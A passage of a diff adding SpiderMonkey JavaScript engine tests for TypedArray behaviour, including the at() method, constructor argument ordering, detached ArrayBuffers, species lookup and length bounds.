+++ b/js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js
@@ -0,0 +1,17 @@
+var g = newGlobal();
+
+var arr = [1, 2, 3];
+for (var constructor of anyTypedArrayConstructors) {
+ var tarr = new constructor(arr);
+ for (var constructor2 of anyTypedArrayConstructors) {
+ var copied = new constructor2(tarr);
+ assertEq(copied.buffer.byteLength, arr.length * constructor2.BYTES_PER_ELEMENT);
+
+ g.tarr = tarr;
+ copied = g.eval(`new ${constructor2.name}(tarr);`);
+ assertEq(copied.buffer.byteLength, arr.length * constructor2.BYTES_PER_ELEMENT);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/at.js b/js/src/tests/non262/TypedArray/at.js
new file mode 100644
index 0000000000..bab5dc8ff2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/at.js
@@ -0,0 +1,47 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.at.length, 1);
+
+ assertEq(new constructor([0]).at(0), 0);
+ assertEq(new constructor([0]).at(-1), 0);
+
+ assertEq(new constructor([]).at(0), undefined);
+ assertEq(new constructor([]).at(-1), undefined);
+ assertEq(new constructor([]).at(1), undefined);
+
+ assertEq(new constructor([0, 1]).at(0), 0);
+ assertEq(new constructor([0, 1]).at(1), 1);
+ assertEq(new constructor([0, 1]).at(-2), 0);
+ assertEq(new constructor([0, 1]).at(-1), 1);
+
+ assertEq(new constructor([0, 1]).at(2), undefined);
+ assertEq(new constructor([0, 1]).at(-3), undefined);
+ assertEq(new constructor([0, 1]).at(-4), undefined);
+ assertEq(new constructor([0, 1]).at(Infinity), undefined);
+ assertEq(new constructor([0, 1]).at(-Infinity), undefined);
+ assertEq(new constructor([0, 1]).at(NaN), 0); // ToInteger(NaN) = 0
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var at = newGlobal()[constructor.name].prototype.at;
+ assertEq(at.call(new constructor([1, 2, 3]), 2), 3);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.at.call(invalidReceiver);
+ }, TypeError, "Assert that 'at' fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).at(1), 2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/browser.js b/js/src/tests/non262/TypedArray/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/browser.js
diff --git a/js/src/tests/non262/TypedArray/bug1526838.js b/js/src/tests/non262/TypedArray/bug1526838.js
new file mode 100644
index 0000000000..1d652f7783
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/bug1526838.js
@@ -0,0 +1,8 @@
+const testArray = [1n];
+for (const constructor of anyTypedArrayConstructors) {
+ assertThrowsInstanceOf(() => new constructor(testArray), TypeError);
+ assertThrowsInstanceOf(() => new constructor(testArray.values()), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js
new file mode 100644
index 0000000000..d454804f94
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species-wrap.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+let g = newGlobal();
+
+// Both TypedArray and ArrayBuffer from different global.
+for (let ctor of typedArrayConstructors) {
+ let a = g.eval(`new ${ctor.name}([1, 2, 3, 4, 5]);`);
+ for (let ctor2 of typedArrayConstructors) {
+ let b = new ctor2(a);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, ArrayBuffer);
+ }
+}
+
+// Only ArrayBuffer from different global.
+let origSpecies = Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species);
+let modSpecies = {
+ get() {
+ throw new Error("unexpected @@species access");
+ }
+};
+for (let ctor of typedArrayConstructors) {
+ let a = new ctor([1, 2, 3, 4, 5]);
+ for (let ctor2 of typedArrayConstructors) {
+ Object.defineProperty(ArrayBuffer, Symbol.species, modSpecies);
+ let b = new ctor2(a);
+ Object.defineProperty(ArrayBuffer, Symbol.species, origSpecies);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, ArrayBuffer);
+ }
+}
+
+// Only TypedArray from different global.
+g.otherArrayBuffer = ArrayBuffer;
+g.eval(`
+var origSpecies = Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species);
+var modSpecies = {
+ get() {
+ throw new Error("unexpected @@species access");
+ }
+};
+`);
+for (let ctor of typedArrayConstructors) {
+ let a = g.eval(`new ${ctor.name}([1, 2, 3, 4, 5]);`);
+ for (let ctor2 of typedArrayConstructors) {
+ g.eval(`Object.defineProperty(ArrayBuffer, Symbol.species, modSpecies);`);
+ let b = new ctor2(a);
+ g.eval(`Object.defineProperty(ArrayBuffer, Symbol.species, origSpecies);`);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, ArrayBuffer);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js
new file mode 100644
index 0000000000..aa7830df67
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-ArrayBuffer-species.js
@@ -0,0 +1,19 @@
+for (let ctor of typedArrayConstructors) {
+ let arr = new ctor([1, 2, 3, 4, 5, 6, 7, 8]);
+
+ arr.buffer.constructor = {
+ get [Symbol.species]() {
+ throw new Error("unexpected @@species access");
+ }
+ };
+
+ for (let ctor2 of typedArrayConstructors) {
+ let arr2 = new ctor2(arr);
+
+ assertEq(Object.getPrototypeOf(arr2.buffer), ArrayBuffer.prototype);
+ assertEq(arr2.buffer.constructor, ArrayBuffer);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-buffer-sequence.js b/js/src/tests/non262/TypedArray/constructor-buffer-sequence.js
new file mode 100644
index 0000000000..d69478344d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-buffer-sequence.js
@@ -0,0 +1,230 @@
+// 22.2.4.5 TypedArray ( buffer [ , byteOffset [ , length ] ] )
+
+// Ensure the various error conditions are tested in the correct order.
+
+const otherGlobal = newGlobal();
+
+function* createBuffers(lengths = [0, 8]) {
+ for (let length of lengths) {
+ let buffer = new ArrayBuffer(length);
+ yield {buffer, detach: () => detachArrayBuffer(buffer)};
+ }
+
+ for (let length of lengths) {
+ let buffer = new otherGlobal.ArrayBuffer(length);
+ yield {buffer, detach: () => otherGlobal.detachArrayBuffer(buffer)};
+ }
+}
+
+const poisonedValue = new Proxy({}, new Proxy({}, {
+ get() {
+ // Throws an exception when any proxy trap is invoked.
+ throw new Error("Poisoned Value");
+ }
+}));
+
+class ExpectedError extends Error { }
+
+function ConstructorWithThrowingPrototype(detach) {
+ return Object.defineProperty(function(){}.bind(null), "prototype", {
+ get() {
+ if (detach)
+ detach();
+ throw new ExpectedError();
+ }
+ });
+}
+
+function ValueThrowing(detach) {
+ return {
+ valueOf() {
+ if (detach)
+ detach();
+ throw new ExpectedError();
+ }
+ };
+}
+
+function ValueReturning(value, detach) {
+ return {
+ valueOf() {
+ if (detach)
+ detach();
+ return value;
+ }
+ };
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 6 |ToIndex(byteOffset)|.
+for (let {buffer} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype();
+
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, poisonedValue, 0], constructor), ExpectedError);
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype();
+
+ detach();
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, 0, 0], constructor), ExpectedError);
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype(detach);
+
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, 0, 0], constructor), ExpectedError);
+}
+
+// Ensure step 4 |AllocateTypedArray| is executed before step 8.a |ToIndex(length)|.
+for (let {buffer} of createBuffers()) {
+ let constructor = ConstructorWithThrowingPrototype();
+
+ assertThrowsInstanceOf(() =>
+ Reflect.construct(Int32Array, [buffer, 0, poisonedValue], constructor), ExpectedError);
+}
+
+// Ensure step 6 |ToIndex(byteOffset)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueThrowing();
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), ExpectedError);
+}
+
+// Ensure step 6 |ToIndex(byteOffset)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueThrowing(detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), ExpectedError);
+}
+
+// Ensure step 6 |ToIndex(byteOffset)| is executed before step 8.a |ToIndex(length)|.
+for (let {buffer} of createBuffers()) {
+ let byteOffset = ValueThrowing();
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, poisonedValue), ExpectedError);
+}
+
+// Ensure step 7 |offset modulo elementSize ≠ 0| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 1;
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), RangeError);
+}
+
+// Ensure step 7 |offset modulo elementSize ≠ 0| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(1, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, 0), RangeError);
+}
+
+// Ensure step 7 |offset modulo elementSize ≠ 0| is executed before step 8.a |ToIndex(length)|.
+for (let {buffer} of createBuffers()) {
+ assertThrowsInstanceOf(() => new Int32Array(buffer, 1, poisonedValue), RangeError);
+}
+
+// Ensure step 8.a |ToIndex(length)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueThrowing();
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), ExpectedError);
+}
+
+// Ensure step 8.a |ToIndex(length)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically (1).
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(0, detach);
+ let length = ValueThrowing();
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), ExpectedError);
+}
+
+// Ensure step 8.a |ToIndex(length)| is executed before step 9 |IsDetachedBuffer(buffer)|.
+// - Variant: Detach buffer dynamically (2).
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueThrowing(detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), ExpectedError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.a |bufferByteLength modulo elementSize ≠ 0|.
+for (let {buffer, detach} of createBuffers([1, 9])) {
+ let byteOffset = 0;
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.a |bufferByteLength modulo elementSize ≠ 0|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers([1, 9])) {
+ let byteOffset = ValueReturning(0, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.c |newByteLength < 0|.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 64;
+
+ detach();
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 11.c |newByteLength < 0|.
+// - Variant: Detach buffer dynamically.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(64, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 12.b |offset+newByteLength > bufferByteLength|.
+// - Case A: The given byteOffset is too large.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 64;
+ let length = ValueReturning(0, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+// Ensure step 9 |IsDetachedBuffer(buffer)| is executed before step 12.b |offset+newByteLength > bufferByteLength|.
+// - Case B: The given length is too large.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueReturning(64, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+// Ensure we handle the case when ToIndex(byteOffset) detaches the array buffer.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = ValueReturning(0, detach);
+ let length = 0;
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+// Ensure we handle the case when ToIndex(length) detaches the array buffer.
+for (let {buffer, detach} of createBuffers()) {
+ let byteOffset = 0;
+ let length = ValueReturning(0, detach);
+
+ assertThrowsInstanceOf(() => new Int32Array(buffer, byteOffset, length), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js b/js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js
new file mode 100644
index 0000000000..ce213038d4
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-byteoffsets-bounds.js
@@ -0,0 +1,34 @@
+// 22.2.4.5 TypedArray ( buffer [ , byteOffset [ , length ] ] )
+
+// Test bound checks around for |byteOffset| and |length| arguments.
+
+const ab = new ArrayBuffer(0);
+
+for (let TA of typedArrayConstructors) {
+ // Test bound checks around INT32_MAX for |byteOffset| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 - TA.BYTES_PER_ELEMENT), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 + 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**31 + TA.BYTES_PER_ELEMENT), RangeError);
+
+ // Test bound checks around UINT32_MAX for |byteOffset| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 - TA.BYTES_PER_ELEMENT), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 + 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 2**32 + TA.BYTES_PER_ELEMENT), RangeError);
+
+ // Test bound checks around INT32_MAX for |length| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**31 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**31), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**31 + 1), RangeError);
+
+ // Test bound checks around UINT32_MAX for |length| argument.
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**32 - 1), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**32), RangeError);
+ assertThrowsInstanceOf(() => new TA(ab, 0, 2**32 + 1), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-generator.js b/js/src/tests/non262/TypedArray/constructor-iterable-generator.js
new file mode 100644
index 0000000000..233eeb9d92
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-generator.js
@@ -0,0 +1,16 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from generator.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 128)]) {
+ let typedArray = new constructor(function*(){ yield* array; }());
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js
new file mode 100644
index 0000000000..76eaaae46d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator-next.js
@@ -0,0 +1,28 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from array with modified array iterator next method.
+const ArrayIteratorPrototype = Object.getPrototypeOf([][Symbol.iterator]());
+const origNext = ArrayIteratorPrototype.next;
+const modifiedNext = function() {
+ let {value, done} = origNext.call(this);
+ return {value: value * 5, done};
+};
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 24)]) {
+ ArrayIteratorPrototype.next = modifiedNext;
+ let typedArray;
+ try {
+ typedArray = new constructor(array);
+ } finally {
+ ArrayIteratorPrototype.next = origNext;
+ }
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array.map(v => v * 5));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js
new file mode 100644
index 0000000000..7c3192a6a3
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-modified-array-iterator.js
@@ -0,0 +1,28 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from array with modified array iterator.
+const origIterator = Array.prototype[Symbol.iterator];
+const modifiedIterator = function*() {
+ for (let v of origIterator.call(this)) {
+ yield v * 5;
+ }
+};
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 24)]) {
+ Array.prototype[Symbol.iterator] = modifiedIterator;
+ let typedArray;
+ try {
+ typedArray = new constructor(array)
+ } finally {
+ Array.prototype[Symbol.iterator] = origIterator;
+ }
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array.map(v => v * 5));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js b/js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js
new file mode 100644
index 0000000000..b9586a57e5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-nonpacked-array.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable non-packed array.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[,], [,,], Array(1024)]) {
+ let typedArray = new constructor(array);
+
+ assertEq(typedArray.length, array.length);
+ let expectedArray = Array(array.length).fill(isFloatConstructor(constructor) ? NaN : 0);
+ assertEqArray(typedArray, expectedArray);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js b/js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js
new file mode 100644
index 0000000000..824760900a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-not-callable.js
@@ -0,0 +1,15 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from object with non-callable [Symbol.iterator] property.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let iterator of [true, 0, Math.PI, "", "10", Symbol.iterator, {}, []]) {
+ assertThrowsInstanceOf(() => new constructor({
+ [Symbol.iterator]: iterator
+ }), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js
new file mode 100644
index 0000000000..3c00af0de2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array-side-effect.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable packed array, array contains object with modifying
+// valueOf() method.
+for (let constructor of anyTypedArrayConstructors) {
+ let array = [
+ 0, 1, {valueOf() { array[3] = 30; return 2; }}, 3, 4
+ ];
+ let typedArray = new constructor(array);
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, [0, 1, 2, 3, 4]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js
new file mode 100644
index 0000000000..495c2da496
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-packed-array.js
@@ -0,0 +1,16 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable packed array.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 128)]) {
+ let typedArray = new constructor(array);
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js b/js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js
new file mode 100644
index 0000000000..48e5aaa648
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterable-undefined-or-null.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from object with undefined or null [Symbol.iterator] property.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let iterator of [undefined, null]) {
+ let arrayLike = {
+ [Symbol.iterator]: iterator,
+ length: 2,
+ 0: 10,
+ 1: 20,
+ };
+ let typedArray = new constructor(arrayLike);
+
+ assertEq(typedArray.length, arrayLike.length);
+ assertEqArray(typedArray, arrayLike);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-iterator-primitive.js b/js/src/tests/non262/TypedArray/constructor-iterator-primitive.js
new file mode 100644
index 0000000000..5a14d7d5a7
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-iterator-primitive.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let ctor of typedArrayConstructors) {
+ for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ new ctor(arg);
+ }, TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/constructor-length-too-large.js b/js/src/tests/non262/TypedArray/constructor-length-too-large.js
new file mode 100644
index 0000000000..7a7a785041
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-length-too-large.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Test that all TypedArray constructor variants throw a RangeError when
+// attempting to create a too large array.
+
+// The maximum typed array length is limited to `(INT32_MAX/BYTES_PER_ELEMENT)`
+// on all 32-bit systems; on 64-bit systems the limit is 8GB presently.
+
+const INT32_MAX = 2**31 - 1;
+const EIGHTGB = 8 * 1024 * 1024 * 1024;
+
+function tooLarge(elementSize) {
+ if (largeArrayBufferSupported()) {
+ return (EIGHTGB / elementSize) + 1;
+ }
+ return (INT32_MAX + 1) / elementSize;
+}
+
+// 22.2.4.2 TypedArray ( length )
+for (let TA of typedArrayConstructors) {
+ assertThrowsInstanceOf(() => new TA(tooLarge(1)), RangeError);
+ assertThrowsInstanceOf(() => new TA(tooLarge(TA.BYTES_PER_ELEMENT)), RangeError);
+}
+
+// Test disabled because allocating a 2**30 Int8Array easily leads to OOMs.
+//
+// 22.2.4.3 TypedArray ( typedArray )
+// const largeInt8Array = new Int8Array(2**30);
+// for (let TA of typedArrayConstructors.filter(c => c.BYTES_PER_ELEMENT > 1)) {
+// assertThrowsInstanceOf(() => new TA(largeInt8Array), RangeError);
+// }
+
+// 22.2.4.4 TypedArray ( object )
+for (let TA of typedArrayConstructors) {
+ assertThrowsInstanceOf(() => new TA({length: tooLarge(1)}), RangeError);
+ assertThrowsInstanceOf(() => new TA({length: tooLarge(TA.BYTES_PER_ELEMENT)}), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-non-detached.js b/js/src/tests/non262/TypedArray/constructor-non-detached.js
new file mode 100644
index 0000000000..9ec9329be8
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-non-detached.js
@@ -0,0 +1,13 @@
+for (var constructor of typedArrayConstructors) {
+ var buf = new constructor();
+ detachArrayBuffer(buf.buffer);
+ assertThrowsInstanceOf(() => new constructor(buf), TypeError);
+
+ var buffer = new ArrayBuffer();
+ detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => new constructor(buffer), TypeError);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-not-callable.js b/js/src/tests/non262/TypedArray/constructor-not-callable.js
new file mode 100644
index 0000000000..a3a2f8d1d5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-not-callable.js
@@ -0,0 +1,10 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertThrowsInstanceOf(() => constructor(), TypeError);
+ assertThrowsInstanceOf(() => constructor(1), TypeError);
+ assertThrowsInstanceOf(() => constructor.call(null), TypeError);
+ assertThrowsInstanceOf(() => constructor.apply(null, []), TypeError);
+ assertThrowsInstanceOf(() => Reflect.apply(constructor, null, []), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js b/js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js
new file mode 100644
index 0000000000..872f46408a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/constructor-typedarray-species-other-global.js
@@ -0,0 +1,33 @@
+// 22.2.4.3 TypedArray ( typedArray )
+
+// Test [[Prototype]] of newly created typed array and its array buffer, and
+// ensure they are both created in the correct global.
+
+const thisGlobal = this;
+const otherGlobal = newGlobal();
+
+const typedArrays = [otherGlobal.eval("new Int32Array(0)")];
+
+if (this.SharedArrayBuffer) {
+ typedArrays.push(otherGlobal.eval("new Int32Array(new SharedArrayBuffer(0))"));
+}
+
+for (let typedArray of typedArrays) {
+ // Ensure the "constructor" property isn't accessed.
+ Object.defineProperty(typedArray.buffer, "constructor", {
+ get() {
+ throw new Error("constructor property accessed");
+ }
+ });
+
+ for (let ctor of typedArrayConstructors) {
+ let newTypedArray = new ctor(typedArray);
+
+ assertEq(Object.getPrototypeOf(newTypedArray), ctor.prototype);
+ assertEq(Object.getPrototypeOf(newTypedArray.buffer), ArrayBuffer.prototype);
+ assertEq(newTypedArray.buffer.constructor, ArrayBuffer);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
